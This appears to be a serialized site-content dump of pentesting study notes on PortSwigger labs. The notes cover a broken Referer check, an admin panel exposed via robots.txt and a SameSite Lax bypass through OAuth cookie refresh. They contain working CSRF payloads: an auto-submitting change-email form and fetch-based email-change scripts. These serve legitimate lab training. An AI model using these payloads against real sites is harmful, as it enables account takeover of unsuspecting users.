by suppressing the Referer header via `\u003Cmeta name=\"referrer\" content=\"never\">` and auto-submitting the change-email form.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-referer-validation-depends-on-header-being-present",{"title":6877,"description":7199},{"loc":7201},"notes\u002Fpentesting\u002Fportswigger\u002Fcsrf-referer-validation-depends-on-header-being-present",[264,7206,7207,269],"csrf","referer","FZqhZ_j-xCjzWg8HCd9727Tg-izIrkB1PycM0dGHGLg",{"id":7210,"title":7211,"author":6,"body":7212,"date":6584,"description":7532,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":7533,"navigation":96,"notes":93,"path":7534,"psTitle":7226,"seo":7535,"sitemap":7536,"stem":7537,"tags":7538,"timeSpent":5976,"type":106,"__hash__":7539},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-with-broken-referer-validation.md","CSRF with Broken Referer Validation (PortSwigger Lab)",{"type":8,"value":7213,"toc":7522},[7214,7218,7220,7227,7229,7231,7237,7239,7245,7249,7255,7266,7272,7282,7285,7287,7294,7300,7305,7311,7316,7322,7328,7334,7340,7342,7355,7365,7508,7511,7517,7519],[11,7215,7217],{"id":7216},"csrf-with-broken-referer-validation","CSRF with Broken Referer Validation",[19,7219,121],{"id":120},[15,7221,7222,131],{},[125,7223,7226],{"href":7224,"rel":7225},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-referer-based-defenses\u002Flab-referer-validation-broken",[129],"CSRF with broken Referer validation",[19,7228,135],{"id":134},[137,7230,140],{"id":139},[142,7232,7235],{"className":7233,"code":7234,"language":147},[145],"This lab's email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.\n\nTo solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[37,7236,7234],{"__ignoreMap":87},[137,7238,2057],{"id":2056},[15,7240,7241,7242,7244],{},"We need to change the user's email by exploiting a CSRF vulnerability. There is a protection based on ",[37,7243,4668],{}," analysis, and we need to bypass it.",[137,7246,7248],{"id":7247},"useful-theory-from-portswigger","Useful theory from PortSwigger",[15,7250,7251,7252,7254],{},"Variants of \"naive\" ",[37,7253,4668],{},"-based protection:",[335,7256,7257,7260],{},[33,7258,7259],{},"They only check the start of the URL for certain values.",[33,7261,7262,7263,7265],{},"They just check that the ",[37,7264,4668],{}," contains the site's domain.",[15,7267,7268,7269,524],{},"The first variant is bypassed by creating a subdomain with the target site's name on your own server. The second — by including the domain anywhere in the URL, e.g. in the query string: ",[37,7270,7271],{},"http:\u002F\u002Fattacker.com\u002F?vul-site.com",[15,7273,7274,7275,7278,7279,7281],{},"However, the second method won't work without ",[37,7276,7277],{},"Referrer-Policy: unsafe-url",", because browsers now have default policies that strip the ",[37,7280,4668],{}," (drop the query string).",[15,7283,7284],{},"I think for this lab it'll be variant 2 — something tells me PortSwigger didn't bother with the subdomain trick, but we'll see.",[137,7286,1506],{"id":1505},[15,7288,7289,7290,7293],{},"The route we already know — ",[37,7291,7292],{},"POST \u002Fmy-account\u002Fchange-email",". Sent:",[142,7295,7298],{"className":7296,"code":7297,"language":147},[145],"Referer: https:\u002F\u002F0acd006e047305c382a4a606007d003c.web-security-academy.net\u002Fmy-account?id=wiener\n",[37,7299,7297],{"__ignoreMap":87},[15,7301,7302,7303,212],{},"OK, we send the request to Repeater and set ",[37,7304,4668],{},[142,7306,7309],{"className":7307,"code":7308,"language":147},[145],"Referer: https:\u002F\u002Fexploit-0ab2006104810534824ba5f0018200df.exploit-server.net\u002Fexploit\n",[37,7310,7308],{"__ignoreMap":87},[15,7312,7313,7314,524],{},"Response — ",[37,7315,6942],{},[15,7317,7318,7319,7321],{},"Let's just add Host to our ",[37,7320,4668],{}," as a query string:",[142,7323,7326],{"className":7324,"code":7325,"language":147},[145],"?0acd006e047305c382a4a606007d003c.web-security-academy.net\n",[37,7327,7325],{"__ignoreMap":87},[142,7329,7332],{"className":7330,"code":7331,"language":147},[145],"Referer: https:\u002F\u002Fexploit-0ab2006104810534824ba5f0018200df.exploit-server.net\u002Fexploit?0acd006e047305c382a4a606007d003c.web-security-academy.net\n",[37,7333,7331],{"__ignoreMap":87},[15,7335,7336,7337,7339],{},"Works in Burp, but remember ",[37,7338,7277],{}," — needed for this to work in the victim's browser.",[137,7341,1532],{"id":1531},[335,7343,7344,7347,7352],{},[33,7345,7346],{},"Add the lab server's Host into the URL.",[33,7348,7349,7350,2884],{},"Set the ",[37,7351,7277],{},[33,7353,7354],{},"Submit the change-email form.",[15,7356,7357,7358,7360,7361,7364],{},"We'll base the payload on the previous lab's. And don't forget to add ",[37,7359,7277],{}," on the exploit server and name the page something like ",[37,7362,7363],{},"\u002Fexploit?p=0acd006e047305c382a4a606007d003c.web-security-academy.net",", so the Host name is included.",[142,7366,7368],{"className":3020,"code":7367,"language":3022,"meta":87,"style":87},"\u003Cform class=\"login-form\" name=\"change-email-form\"\n      action=\"https:\u002F\u002F0af900b5045d743e805344a6006d0040.web-security-academy.net\u002Fmy-account\u002Fchange-email\" method=\"POST\">\n  \u003Clabel>Email\u003C\u002Flabel>\n  \u003Cinput required type=\"email\" name=\"email\" value=\"hhh@p.com\">\n  \u003Cbutton class=\"button\" type=\"submit\">Update email\u003C\u002Fbutton>\n\u003C\u002Fform>\n\n\u003Cscript>\n  document.forms[0].submit()\n\u003C\u002Fscript>\n",[37,7369,7370,7388,7404,7416,7444,7468,7476,7480,7488,7500],{"__ignoreMap":87},[313,7371,7372,7374,7376,7378,7380,7382,7384,7386],{"class":315,"line":316},[313,7373,749],{"class":748},[313,7375,7035],{"class":752},[313,7377,3034],{"class":795},[313,7379,3037],{"class":748},[313,7381,7042],{"class":771},[313,7383,5207],{"class":795},[313,7385,3037],{"class":748},[313,7387,7049],{"class":771},[313,7389,7390,7392,7394,7396,7398,7400,7402],{"class":315,"line":88},[313,7391,7054],{"class":795},[313,7393,3037],{"class":748},[313,7395,7059],{"class":771},[313,7397,7062],{"class":795},[313,7399,3037],{"class":748},[313,7401,7067],{"class":771},[313,7403,756],{"class":748},[313,7405,7406,7408,7410,7412,7414],{"class":315,"line":253},[313,7407,971],{"class":748},[313,7409,7076],{"class":752},[313,7411,7079],{"class":748},[313,7413,7076],{"class":752},[313,7415,756],{"class":748},[313,7417,7418,7420,7422,7424,7426,7428,7430,7432,7434,7436,7438,7440,7442],{"class":315,"line":780},[313,7419,971],{"class":748},[313,7421,5194],{"class":752},[313,7423,5197],{"class":795},[313,7425,5200],{"class":795},[313,7427,3037],{"class":748},[313,7429,6540],{"class":771},[313,7431,5207],{"class":795},[313,7433,3037],{"class":748},[313,7435,6540],{"class":771},[313,7437,5214],{"class":795},[313,7439,3037],{"class":748},[313,7441,7110],{"class":771},[313,7443,756],{"class":748},[313,7445,7446,7448,7450,7452,7454,7456,7458,7460,7462,7464,7466],{"class":315,"line":792},[313,7447,971],{"class":748},[313,7449,7119],{"class":752},[313,7451,3034],{"class":795},[313,7453,3037],{"class":748},[313,7455,7126],{"class":771},[313,7457,5200],{"class":795},[313,7459,3037],{"class":748},[313,7461,7133],{"class":771},[313,7463,7136],{"class":748},[313,7465,7119],{"class":752},[313,7467,756],{"class":748},[313,7469,7470,7472,7474],{"class":315,"line":802},[313,7471,946],{"class":748},[313,7473,7035],{"class":752},[313,7475,756],{"class":748},[313,7477,7478],{"class":315,"line":821},[313,7479,777],{"emptyLinePlaceholder":96},[313,7481,7482,7484,7486],{"class":315,"line":833},[313,7483,749],{"class":748},[313,7485,753],{"class":752},[313,7487,756],{"class":748},[313,7489,7490,7492,7494,7496,7498],{"class":315,"line":842},[313,7491,7165],{"class":748},[313,7493,5685],{"class":808},[313,7495,7170],{"class":748},[313,7497,7173],{"class":795},[313,7499,7176],{"class":748},[313,7501,7502,7504,7506],{"class":315,"line":848},[313,7503,946],{"class":748},[313,7505,753],{"class":752},[313,7507,756],{"class":748},[15,7509,7510],{},"On me the payload works, but PortSwigger doesn't accept it. But in the access logs I see that for some reason, when the victim navigates, she gets a 404 back.",[15,7512,7513,7514,524],{},"Let me try passing Host not in the query string but as part of the URL itself: ",[37,7515,7516],{},"\u002Fexploit\u002F0a5600910423b30f803c767000df00fd.web-security-academy.net",[15,7518,246],{},[361,7520,7521],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":87,"searchDepth":88,"depth":88,"links":7523},[7524,7525],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":7526},[7527,7528,7529,7530,7531],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":7247,"depth":253,"text":7248},{"id":1505,"depth":253,"text":1506},{"id":1531,"depth":253,"text":1532},"Bypassing Referer validation by sliding the target domain into the attacker URL and setting `Referrer-Policy: unsafe-url`.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-with-broken-referer-validation",{"title":7211,"description":7532},{"loc":7534},"notes\u002Fpentesting\u002Fportswigger\u002Fcsrf-with-broken-referer-validation",[264,7206,7207,269],"K7nPrznPissQPW4no7RaUadkC0r2B52ARPdYzLq76fg",{"id":7541,"title":7542,"author":6,"body":7543,"date":6584,"description":7631,"difficulty":452,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":7632,"navigation":96,"notes":93,"path":7633,"psTitle":7557,"seo":7634,"sitemap":7635,"stem":7636,"tags":7637,"timeSpent":459,"type":106,"__hash__":7638},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Funprotected-admin-functionality.md","Unprotected Admin Functionality (PortSwigger Lab)",{"type":8,"value":7544,"toc":7623},[7545,7549,7551,7558,7560,7562,7568,7570,7575,7577,7580,7583,7586,7602,7610,7616],[11,7546,7548],{"id":7547},"unprotected-admin-functionality","Unprotected Admin Functionality",[19,7550,121],{"id":120},[15,7552,7553,399],{},[125,7554,7557],{"href":7555,"rel":7556},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-unprotected-admin-functionality",[129],"Unprotected admin functionality",[19,7559,135],{"id":134},[137,7561,140],{"id":139},[142,7563,7566],{"className":7564,"code":7565,"language":147},[145],"This lab has an unprotected admin panel.\n\nSolve the lab by deleting the user carlos.\n",[37,7567,7565],{"__ignoreMap":87},[137,7569,2057],{"id":2056},[15,7571,7572,7573,524],{},"Short and clear: an unprotected admin panel. Delete the user ",[37,7574,2505],{},[137,7576,1506],{"id":1505},[15,7578,7579],{},"Let's see what's going on. Worth paying attention to JS files and code. The site lists products — if we're talking admin, it makes sense to look at the product card.",[15,7581,7582],{},"Ah, looks like the wrong direction.",[15,7584,7585],{},"This is more about brute-forcing admin names:",[335,7587,7588,7593,7599],{},[33,7589,7590,7591,524],{},"Try ",[37,7592,5871],{},[33,7594,7595,7596,524],{},"Check ",[37,7597,7598],{},"robots.txt",[33,7600,7601],{},"Brute-force the admin path with a wordlist.",[15,7603,7604,7606,7607,7609],{},[37,7605,5871],{}," didn't work, but ",[37,7608,7598],{}," has a surprise:",[142,7611,7614],{"className":7612,"code":7613,"language":147},[145],"Disallow: \u002Fadministrator-panel\n",[37,7615,7613],{"__ignoreMap":87},[15,7617,7618,7619,7622],{},"We go there — ",[37,7620,7621],{},"\u002Fadministrator-panel",". Delete the user. Lab solved!",{"title":87,"searchDepth":88,"depth":88,"links":7624},[7625,7626],{"id":120,"depth":88,"text":121},{"id":134,"depth":88,"text":135,"children":7627},[7628,7629,7630],{"id":139,"depth":253,"text":140},{"id":2056,"depth":253,"text":2057},{"id":1505,"depth":253,"text":1506},"Finding the hidden admin URL via `robots.txt` and deleting the user.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Funprotected-admin-functionality",{"title":7542,"description":7631},{"loc":7633},"notes\u002Fpentesting\u002Fportswigger\u002Funprotected-admin-functionality",[264,4631,269],"En0HQo1ffhbwQhY9DBcWLWxqCtKPjI7O53Z3Fwa8KII",{"id":7640,"title":7641,"author":6,"body":7642,"date":8595,"description":8596,"difficulty":257,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":8597,"navigation":96,"notes":93,"path":8598,"psTitle":7656,"seo":8599,"sitemap":8600,"stem":8601,"tags":8602,"timeSpent":8605,"type":106,"__hash__":8606},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-lax-bypass-via-cookie-refresh.md","SameSite Lax Bypass via Cookie Refresh (PortSwigger Lab)",{"type":8,"value":7643,"toc":8585},[7644,7648,7650,7657,7659,7661,7667,7671,7678,7680,7686,7688,7691,7702,7705,7712,7718,7730,7736,7739,7745,7751,7754,7760,7763,7769,7772,7778,7785,7791,7793,7798,7801,7807,7810,7816,7819,7829,7836,7841,7844,7848,7851,7858,7864,7867,7875,7878,8007,8013,8018,8021,8123,8126,8134,8238,8246,8252,8370,8373,8379,8386,8582],[11,7645,7647],{"id":7646},"samesite-lax-bypass-via-cookie-refresh","SameSite Lax Bypass via Cookie Refresh",[19,7649,121],{"id":120},[15,7651,7652,131],{},[125,7653,7656],{"href":7654,"rel":7655},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-samesite-restrictions\u002Flab-samesite-strict-bypass-via-cookie-refresh",[129],"SameSite Lax bypass via cookie refresh",[19,7658,135],{"id":134},[137,7660,140],{"id":139},[142,7662,7665],{"className":7663,"code":7664,"language":147},[145],"This lab's change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim's email address. You should use the provided exploit server to host your attack.\n\nThe lab supports OAuth-based login. You can log in via your social media account with the following credentials: wiener:peter\n",[37,7666,7664],{"__ignoreMap":87},[137,7668,7670],{"id":7669},"useful-theory-before-the-lab","Useful theory before the lab",[15,7672,7673,7674,7677],{},"If we don't explicitly set ",[37,7675,7676],{},"SameSite=Lax",", Chrome, for example, will apply it by default. But to avoid breaking SSO mechanisms, there is a two-minute window during which the restriction does not apply, and within it we can make a top-level POST request.",[137,7679,2057],{"id":2056},[15,7681,7682,7683,7685],{},"As usual, we need to change the user's password by exploiting a CSRF vulnerability in this feature of the site. The delivery mechanism is the exploit server. On the lab we can log in using an OAuth mechanism. The title hints at the technique of bypassing ",[37,7684,7676],{}," via cookie refresh and getting a 2-minute window to carry out the attack. One way to trigger a cookie refresh is to use the OAuth mechanisms, if the site uses them.",[137,7687,1506],{"id":1505},[15,7689,7690],{},"Let's start by looking at how this OAuth flow works.",[15,7692,7693,7694,7697,7698,7701],{},"Open the site, click ",[26,7695,7696],{},"My Account",". ",[37,7699,7700],{},"\u002Fsocial-login"," opens. Then a login\u002Fpassword form appears. We enter the credentials, confirm — login successful.",[15,7703,7704],{},"OK, let's check what happened under the hood in Burp.",[15,7706,7707,7708,7711],{},"We hit the ",[37,7709,7710],{},"\u002F"," route:",[142,7713,7716],{"className":7714,"code":7715,"language":147},[145],"Set-Cookie: session=d24QySzpjR1y1S4SgUm3HQwkv62tQyzB; Expires=Wed, 13 May 2026 06:17:25 UTC; Secure; HttpOnly\n",[37,7717,7715],{"__ignoreMap":87},[15,7719,7720,7721,7724,7725,7697,7727,7729],{},"Then we clicked ",[26,7722,7723],{},"My account"," — 302 to ",[37,7726,7700],{},[37,7728,7700],{}," returns HTML:",[142,7731,7734],{"className":7732,"code":7733,"language":147},[145],"We are now redirecting you to login with social media...\n",[37,7735,7733],{"__ignoreMap":87},[15,7737,7738],{},"After which this request flies out:",[142,7740,7743],{"className":7741,"code":7742,"language":147},[145],"GET \u002Fauth?client_id=k6dgsunp2stqsamtsv7dx&redirect_uri=https:\u002F\u002F0a9500e1049ce82a809f0dda009f005b.web-security-academy.net\u002Foauth-callback&response_type=code&scope=openid%20profile%20email HTTP\u002F2\n",[37,7744,7742],{"__ignoreMap":87},[15,7746,7747,7748,524],{},"The interesting parameter here is ",[37,7749,7750],{},"redirect_uri",[15,7752,7753],{},"Redirect:",[142,7755,7758],{"className":7756,"code":7757,"language":147},[145],"Location: \u002Finteraction\u002FLAZ1IMVxqtF29LA_RotP_\n",[37,7759,7757],{"__ignoreMap":87},[15,7761,7762],{},"Here we get back HTML with the login\u002Fpassword form. We entered the credentials, after which a POST was sent:",[142,7764,7767],{"className":7765,"code":7766,"language":147},[145],"POST \u002Finteraction\u002FLAZ1IMVxqtF29LA_RotP_\u002Flogin HTTP\u002F2\n",[37,7768,7766],{"__ignoreMap":87},[15,7770,7771],{},"Then a redirect:",[142,7773,7776],{"className":7774,"code":7775,"language":147},[145],"Location: https:\u002F\u002Foauth-0ad6005204a6e85480110b7f023c0064.oauth-server.net\u002Fauth\u002FLAZ1IMVxqtF29LA_RotP_\n",[37,7777,7775],{"__ignoreMap":87},[15,7779,7780,7781,7784],{},"Then HTML with a confirmation form. We clicked the ",[26,7782,7783],{},"Confirm"," button, a POST was sent:",[142,7786,7789],{"className":7787,"code":7788,"language":147},[145],"POST \u002Finteraction\u002FLAZ1IMVxqtF29LA_RotP_\u002Fconfirm\n",[37,7790,7788],{"__ignoreMap":87},[15,7792,7771],{},[142,7794,7796],{"className":7795,"code":7775,"language":147},[145],[37,7797,7775],{"__ignoreMap":87},[15,7799,7800],{},"And the final redirect:",[142,7802,7805],{"className":7803,"code":7804,"language":147},[145],"Location: https:\u002F\u002F0a9500e1049ce82a809f0dda009f005b.web-security-academy.net\u002Foauth-callback?code=EfrIA4L3nJzkTP9obKYYhqEYZ7Vamc3760c7p-gKQaf\n",[37,7806,7804],{"__ignoreMap":87},[15,7808,7809],{},"Here we're told login was successful, and the cookie is set:",[142,7811,7814],{"className":7812,"code":7813,"language":147},[145],"Set-Cookie: session=2ZbppT7TSh2deVGAFkixzjPSOn3bBF2C; Expires=Wed, 13 May 2026 06:17:56 UTC; Secure; HttpOnly\n",[37,7815,7813],{"__ignoreMap":87},[15,7817,7818],{},"OK, let's look at this flow once more. If PortSwigger's docs are to be believed, running the flow again won't prompt for the login and password.",[15,7820,7821,7822,7824,7825,7828],{},"We can try going to the ",[37,7823,7700],{}," route. Indeed, ",[37,7826,7827],{},"\u002Foauth-callback"," is called immediately.",[15,7830,7831,7832,7835],{},"Now let's also look at how the user's ",[37,7833,7834],{},"email"," change works:",[142,7837,7839],{"className":7838,"code":6919,"language":147},[145],[37,7840,6919],{"__ignoreMap":87},[15,7842,7843],{},"Session cookie and the new email. No CSRF token required.",[137,7845,7847],{"id":7846},"thoughts-on-the-payload","Thoughts on the payload",[15,7849,7850],{},"One of the steps is to refresh the cookie using OAuth.",[15,7852,7853,7855,7856,212],{},[37,7854,7700],{}," won't suit us, because we need to know about the refresh after it happens — which means we need to set our own ",[37,7857,7750],{},[142,7859,7862],{"className":7860,"code":7861,"language":147},[145],"https:\u002F\u002Foauth-0a98007a0429541581ce2d60021d0097.oauth-server.net\u002Fauth?client_id=fd7n3d2m267za77t8jpcx&redirect_uri=https:\u002F\u002F0a21000b0447543f81912fc400e200e0.web-security-academy.net\u002Foauth-callback&response_type=code&scope=openid%20profile%20email\n",[37,7863,7861],{"__ignoreMap":87},[15,7865,7866],{},"Not sure yet whether this approach will work for us, or whether it would be easier to do it through opening the OAuth flow in a new tab. I mean a scheme where on the first page we redirect the user to OAuth, and then we need to catch the redirect on another route and kick off the attack. On the PortSwigger exploit server we can't have multiple endpoints, but in this scheme we'd need two: the first where the user lands, and the second where we send the user back after the cookie refresh. Whereas with the \"open in a new tab\" variant we just kick off the attack after a short delay?",[15,7868,7869,7870,5546,7872,524],{},"Ah, no, we could just set ",[37,7871,7750],{},[37,7873,7874],{},"https:\u002F\u002Fexploit-0abd0038045754a381572e0b01ad0028.exploit-server.net\u002Fexploit?startAttack=true",[15,7876,7877],{},"Then a draft payload:",[142,7879,7881],{"className":3020,"code":7880,"language":3022,"meta":87,"style":87},"\u003Cscript>\n  const url = new URL(document.location.href)\n  const startAttack = url.searchParams.get('startAttack')\n  if (startAttack) {\n    \u002F\u002F Launch the attack\n    \u002F\u002F Need to make a POST request to \u002Fmy-account\u002Fchange-email\n    console.log('Time to launch the attack')\n  } else {\n    \u002F\u002F Redirect to the OAuth flow\n    \u002F\u002F But set our own redirect URL\n    location = \"https:\u002F\u002Foauth-0a98007a0429541581ce2d60021d0097.oauth-server.net\u002Fauth?client_id=fd7n3d2m267za77t8jpcx&redirect_uri=https:\u002F\u002Fexploit-0abd0038045754a381572e0b01ad0028.exploit-server.net\u002Fexploit?startAttack=true?response_type=code&scope=openid%20profile%20email\"\n  }\n\u003C\u002Fscript>\n",[37,7882,7883,7891,7909,7931,7939,7945,7950,7965,7975,7980,7985,7995,7999],{"__ignoreMap":87},[313,7884,7885,7887,7889],{"class":315,"line":316},[313,7886,749],{"class":748},[313,7888,753],{"class":752},[313,7890,756],{"class":748},[313,7892,7893,7896,7899,7901,7903,7906],{"class":315,"line":88},[313,7894,7895],{"class":761},"  const",[313,7897,7898],{"class":808}," url",[313,7900,812],{"class":761},[313,7902,6285],{"class":761},[313,7904,7905],{"class":795}," URL",[313,7907,7908],{"class":748},"(document.location.href)\n",[313,7910,7911,7913,7916,7918,7921,7924,7926,7929],{"class":315,"line":253},[313,7912,7895],{"class":761},[313,7914,7915],{"class":808}," startAttack",[313,7917,812],{"class":761},[313,7919,7920],{"class":748}," url.searchParams.",[313,7922,7923],{"class":795},"get",[313,7925,3205],{"class":748},[313,7927,7928],{"class":771},"'startAttack'",[313,7930,3826],{"class":748},[313,7932,7933,7936],{"class":315,"line":780},[313,7934,7935],{"class":761},"  if",[313,7937,7938],{"class":748}," (startAttack) {\n",[313,7940,7941],{"class":315,"line":792},[313,7942,7944],{"class":7943},"sJ8bj","    \u002F\u002F Launch the attack\n",[313,7946,7947],{"class":315,"line":802},[313,7948,7949],{"class":7943},"    \u002F\u002F Need to make a POST request to \u002Fmy-account\u002Fchange-email\n",[313,7951,7952,7955,7958,7960,7963],{"class":315,"line":821},[313,7953,7954],{"class":748},"    console.",[313,7956,7957],{"class":795},"log",[313,7959,3205],{"class":748},[313,7961,7962],{"class":771},"'Time to launch the attack'",[313,7964,3826],{"class":748},[313,7966,7967,7970,7973],{"class":315,"line":833},[313,7968,7969],{"class":748},"  } ",[313,7971,7972],{"class":761},"else",[313,7974,789],{"class":748},[313,7976,7977],{"class":315,"line":842},[313,7978,7979],{"class":7943},"    \u002F\u002F Redirect to the OAuth flow\n",[313,7981,7982],{"class":315,"line":848},[313,7983,7984],{"class":7943},"    \u002F\u002F But set our own redirect URL\n",[313,7986,7987,7990,7992],{"class":315,"line":853},[313,7988,7989],{"class":748},"    location ",[313,7991,3037],{"class":761},[313,7993,7994],{"class":771}," \"https:\u002F\u002Foauth-0a98007a0429541581ce2d60021d0097.oauth-server.net\u002Fauth?client_id=fd7n3d2m267za77t8jpcx&redirect_uri=https:\u002F\u002Fexploit-0abd0038045754a381572e0b01ad0028.exploit-server.net\u002Fexploit?startAttack=true?response_type=code&scope=openid%20profile%20email\"\n",[313,7996,7997],{"class":315,"line":874},[313,7998,934],{"class":748},[313,8000,8001,8003,8005],{"class":315,"line":889},[313,8002,946],{"class":748},[313,8004,753],{"class":752},[313,8006,756],{"class":748},[142,8008,8011],{"className":8009,"code":8010,"language":147},[145],"oops! something went wrong\nerror: redirect_uri_mismatch\nerror_description: redirect_uri did not match any of the client's registered redirect_uris\n",[37,8012,8010],{"__ignoreMap":87},[15,8014,8015,8016,524],{},"Hm, turns out we can't substitute the ",[37,8017,7750],{},[15,8019,8020],{},"Then maybe option 2: the payload will just wait for a click, open OAuth in a separate window, and after about 5 seconds we'll launch the attack.",[142,8022,8024],{"className":3020,"code":8023,"language":3022,"meta":87,"style":87},"\u003Cscript>\n  window.onclick = () => {\n    window.open('https:\u002F\u002Foauth-0a88003704ea253e81a62dea022a00dc.oauth-server.net\u002Fauth?client_id=yend8x58elno9xb2nm2oq&redirect_uri=https:\u002F\u002F0a5700ca04e1255281e52f7b00e700cc.web-security-academy.net\u002Foauth-callback&response_type=code&scope=openid%20profile%20email)');\n  }\n  setTimeout(() => {\n    fetch('https:\u002F\u002F0a5700ca04e1255281e52f7b00e700cc.web-security-academy.net\u002Fmy-account\u002Fchange-email', { method: 'POST', body: 'email=yes@no.ru' })\n  }, 5000)\n\u003C\u002Fscript>\n",[37,8025,8026,8034,8051,8065,8069,8080,8105,8115],{"__ignoreMap":87},[313,8027,8028,8030,8032],{"class":315,"line":316},[313,8029,749],{"class":748},[313,8031,753],{"class":752},[313,8033,756],{"class":748},[313,8035,8036,8039,8042,8044,8047,8049],{"class":315,"line":88},[313,8037,8038],{"class":748},"  window.",[313,8040,8041],{"class":795},"onclick",[313,8043,812],{"class":761},[313,8045,8046],{"class":748}," () ",[313,8048,869],{"class":761},[313,8050,789],{"class":748},[313,8052,8053,8056,8058,8060,8063],{"class":315,"line":253},[313,8054,8055],{"class":748},"    window.",[313,8057,6309],{"class":795},[313,8059,3205],{"class":748},[313,8061,8062],{"class":771},"'https:\u002F\u002Foauth-0a88003704ea253e81a62dea022a00dc.oauth-server.net\u002Fauth?client_id=yend8x58elno9xb2nm2oq&redirect_uri=https:\u002F\u002F0a5700ca04e1255281e52f7b00e700cc.web-security-academy.net\u002Foauth-callback&response_type=code&scope=openid%20profile%20email)'",[313,8064,5710],{"class":748},[313,8066,8067],{"class":315,"line":780},[313,8068,934],{"class":748},[313,8070,8071,8074,8076,8078],{"class":315,"line":792},[313,8072,8073],{"class":795},"  setTimeout",[313,8075,866],{"class":748},[313,8077,869],{"class":761},[313,8079,789],{"class":748},[313,8081,8082,8085,8087,8090,8093,8096,8099,8102],{"class":315,"line":802},[313,8083,8084],{"class":795},"    fetch",[313,8086,3205],{"class":748},[313,8088,8089],{"class":771},"'https:\u002F\u002F0a5700ca04e1255281e52f7b00e700cc.web-security-academy.net\u002Fmy-account\u002Fchange-email'",[313,8091,8092],{"class":748},", { method: ",[313,8094,8095],{"class":771},"'POST'",[313,8097,8098],{"class":748},", body: ",[313,8100,8101],{"class":771},"'email=yes@no.ru'",[313,8103,8104],{"class":748}," })\n",[313,8106,8107,8110,8113],{"class":315,"line":821},[313,8108,8109],{"class":748},"  }, ",[313,8111,8112],{"class":808},"5000",[313,8114,3826],{"class":748},[313,8116,8117,8119,8121],{"class":315,"line":833},[313,8118,946],{"class":748},[313,8120,753],{"class":752},[313,8122,756],{"class":748},[15,8124,8125],{},"Nope, 500 — Server Error.",[15,8127,8128,8129,8131,8132,212],{},"Since we don't actually need to change ",[37,8130,7750],{}," right now, let's just leave a redirect to ",[37,8133,7700],{},[142,8135,8137],{"className":3020,"code":8136,"language":3022,"meta":87,"style":87},"\u003Cscript>\n  window.onclick = () => {\n    window.open('https:\u002F\u002F0a3f006d033961eb818d7b5e002400be.web-security-academy.net\u002Fsocial-login');\n    setTimeout(() => {\n      fetch('https:\u002F\u002F0a3f006d033961eb818d7b5e002400be.web-security-academy.net\u002Fmy-account\u002Fchange-email', { method: 'POST', body: new URLSearchParams({ email: 'ne1@n.ru' }) })\n    }, 20000)\n  }\n\u003C\u002Fscript>\n",[37,8138,8139,8147,8161,8174,8185,8216,8226,8230],{"__ignoreMap":87},[313,8140,8141,8143,8145],{"class":315,"line":316},[313,8142,749],{"class":748},[313,8144,753],{"class":752},[313,8146,756],{"class":748},[313,8148,8149,8151,8153,8155,8157,8159],{"class":315,"line":88},[313,8150,8038],{"class":748},[313,8152,8041],{"class":795},[313,8154,812],{"class":761},[313,8156,8046],{"class":748},[313,8158,869],{"class":761},[313,8160,789],{"class":748},[313,8162,8163,8165,8167,8169,8172],{"class":315,"line":253},[313,8164,8055],{"class":748},[313,8166,6309],{"class":795},[313,8168,3205],{"class":748},[313,8170,8171],{"class":771},"'https:\u002F\u002F0a3f006d033961eb818d7b5e002400be.web-security-academy.net\u002Fsocial-login'",[313,8173,5710],{"class":748},[313,8175,8176,8179,8181,8183],{"class":315,"line":780},[313,8177,8178],{"class":795},"    setTimeout",[313,8180,866],{"class":748},[313,8182,869],{"class":761},[313,8184,789],{"class":748},[313,8186,8187,8190,8192,8195,8197,8199,8201,8204,8207,8210,8213],{"class":315,"line":792},[313,8188,8189],{"class":795},"      